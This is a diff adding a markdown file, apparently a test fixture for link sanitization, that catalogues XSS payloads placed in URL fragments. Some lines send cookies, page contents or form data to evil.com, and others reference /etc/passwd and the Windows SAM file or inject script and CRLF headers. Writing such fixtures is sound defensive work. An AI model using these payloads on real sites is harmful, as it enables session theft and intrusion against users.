|
| 1 | +# Hash Fragment Exploitation Attempts |
| 2 | + |
| 3 | +## Direct javascript: protocol in fragments |
| 4 | +[Click me](#javascript:alert('xss')) |
| 5 | +[Execute](#javascript:void(window.location='https://evil.com')) |
| 6 | +[Steal](#javascript:document.write('<img src=//evil.com?c='+document.cookie+'>')) |
| 7 | + |
| 8 | +## data: protocol patterns in fragments |
| 9 | +[View](#data:text/html,<script>alert('xss')</script>) |
| 10 | +[Load](#data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=) |
| 11 | +[Exec](#data:application/javascript,alert('xss')) |
| 12 | + |
| 13 | +## vbscript: and other script protocols in fragments |
| 14 | +[VBS](#vbscript:msgbox("xss")) |
| 15 | +[LiveScript](#livescript:alert('xss')) |
| 16 | +[JScript](#jscript:alert('xss')) |
| 17 | + |
| 18 | +## Protocol confusion with fragments |
| 19 | +[Confuse](#javascript:alert(1)//https://safe.com) |
| 20 | +[Fake](#https://safe.com#javascript:alert(1)) |
| 21 | +[Mixed](#//safe.com#javascript:alert(1)) |
| 22 | + |
| 23 | +## Fragment with embedded redirects |
| 24 | +[Redirect](#javascript:location='https://evil.com') |
| 25 | +[Navigate](#javascript:window.location.href='https://evil.com') |
| 26 | +[Open](#javascript:window.open('https://evil.com')) |
| 27 | + |
| 28 | +## Encoded dangerous fragments |
| 29 | +[URL encoded](#javascript%3Aalert%28%27xss%27%29) |
| 30 | +[Double encoded](#javascript%253Aalert%2528%2527xss%2527%2529) |
| 31 | +[HTML entities](#javascript:alert('xss')) |
| 32 | +[Unicode](#java\u0073cript:alert('xss')) |
| 33 | + |
| 34 | +## Fragment that looks safe but contains attacks |
| 35 | +[Safe link?](#user-profile?id=123&callback=javascript:alert(1)) |
| 36 | +[API call?](#/api/endpoint?code=javascript:alert(1)) |
| 37 | +[Anchor](#section#javascript:alert(1)) |
| 38 | + |
| 39 | +## Null byte and special character injection |
| 40 | +[Null](#safe\x00javascript:alert(1)) |
| 41 | +[Tab](#safe\tjavascript:alert(1)) |
| 42 | +[Newline](#safe%0Ajavascript:alert(1)) |
| 43 | +[Carriage return](#safe%0Djavascript:alert(1)) |
| 44 | + |
| 45 | +## Fragments with HTML injection attempts |
| 46 | +[HTML](#<img src=x onerror=alert('xss')>) |
| 47 | +[Script tag](#<script>alert('xss')</script>) |
| 48 | +[SVG](#<svg/onload=alert('xss')>) |
| 49 | +[Style](#<style>@import'javascript:alert(1)'</style>) |
| 50 | + |
| 51 | +## Fragments designed to exploit JS fragment navigation |
| 52 | +[Hash nav](#javascript:alert(1)#safe) |
| 53 | +[Multiple hashes](#safe##javascript:alert(1)) |
| 54 | +[Hash encoding](#%23javascript:alert(1)) |
| 55 | + |
| 56 | +## Social engineering with deceptive fragments |
| 57 | +[Download PDF](#javascript:alert('This looks like a safe download')) |
| 58 | +[View Image](#data:text/html,<h1>Click here to view</h1><script>alert(1)</script>) |
| 59 | +[Open Document](#javascript:void(prompt('Enter password:'))) |
| 60 | + |
| 61 | +## Fragments with protocol smuggling |
| 62 | +[Smuggle](#javascript:/**/alert(1)) |
| 63 | +[Comment](#javascript://comment%0Aalert(1)) |
| 64 | +[Whitespace](#javascript: alert(1)) |
| 65 | +[Tab separated](#javascript: alert(1)) |
| 66 | + |
| 67 | +## Fragments attempting to break parsing |
| 68 | +[Nested](#javascript:eval('#javascript:alert(1)')) |
| 69 | +[Recursive](#javascript:location.hash='#javascript:alert(1)') |
| 70 | +[Self-ref](#javascript:window.location='#'+window.location.hash) |
| 71 | + |
| 72 | +## Browser-specific fragment exploits |
| 73 | +[Chrome](#chrome://settings) |
| 74 | +[Firefox](#about:config) |
| 75 | +[Edge](#edge://settings) |
| 76 | +[Safari](#safari://settings) |
| 77 | + |
| 78 | +## File protocol in fragments |
| 79 | +[File](#file:///etc/passwd) |
| 80 | +[Local](#file://c:/windows/system32/config/sam) |
| 81 | +[Network](#file://attacker.com/share/malware.exe) |
| 82 | + |
| 83 | +## Fragment with data exfiltration patterns |
| 84 | +[Exfil](#javascript:fetch('https://evil.com?d='+btoa(document.body.innerHTML))) |
| 85 | +[Cookie steal](#javascript:navigator.sendBeacon('https://evil.com',document.cookie)) |
| 86 | +[Form data](#javascript:new Image().src='https://evil.com?'+document.forms[0].serialize()) |
| 87 | + |
| 88 | +## Fragments attempting DOM clobbering |
| 89 | +[Clobber](#javascript:document.body.innerHTML='<form name=location><input name=href></form>') |
| 90 | +[Override](#javascript:Object.defineProperty(window,'location',{value:{href:'https://evil.com'}})) |
| 91 | + |
| 92 | +## Fragments with timing attacks |
| 93 | +[Timing](#javascript:setTimeout(alert,1000)) |
| 94 | +[Interval](#javascript:setInterval(()=>fetch('https://evil.com'),1000)) |
| 95 | +[Async](#javascript:Promise.resolve().then(()=>alert(1))) |
| 96 | + |
| 97 | +## Fragments attempting to exploit markdown renderers |
| 98 | +[MD exploit](#javascript:');//';alert(1);//') |
| 99 | +[Template](#javascript:${alert(1)}) |
| 100 | +[Interpolation](#javascript:`${alert(1)}`') |
| 101 | + |
| 102 | +## Fragments with CRLF injection |
| 103 | +[CRLF](#safe%0D%0ALocation:%20javascript:alert(1)) |
| 104 | +[Header inj](#safe%0D%0AContent-Type:%20text/html%0D%0A%0D%0A<script>alert(1)</script>) |
| 105 | + |
| 106 | +## Fragments attempting to exploit URL parsers |
| 107 | +[Parser conf](#javascript:alert(1)?#safe) |
| 108 | +[Query in frag](#safe?callback=javascript:alert(1)#) |
| 109 | +[Authority ](#javascript://[email protected]/alert(1)) |
| 110 | + |
| 111 | +## Fragments with polyglot payloads |
| 112 | +[Polyglot](#javascript:/*<script>*/alert(1)/*/</script>) |
| 113 | +[Multi-context](#javascript:'"-alert(1)-"') |
| 114 | +[Triple encoded](#javascript:%25%36%38%25%37%34%25%37%34%25%37%30) |
0 commit comments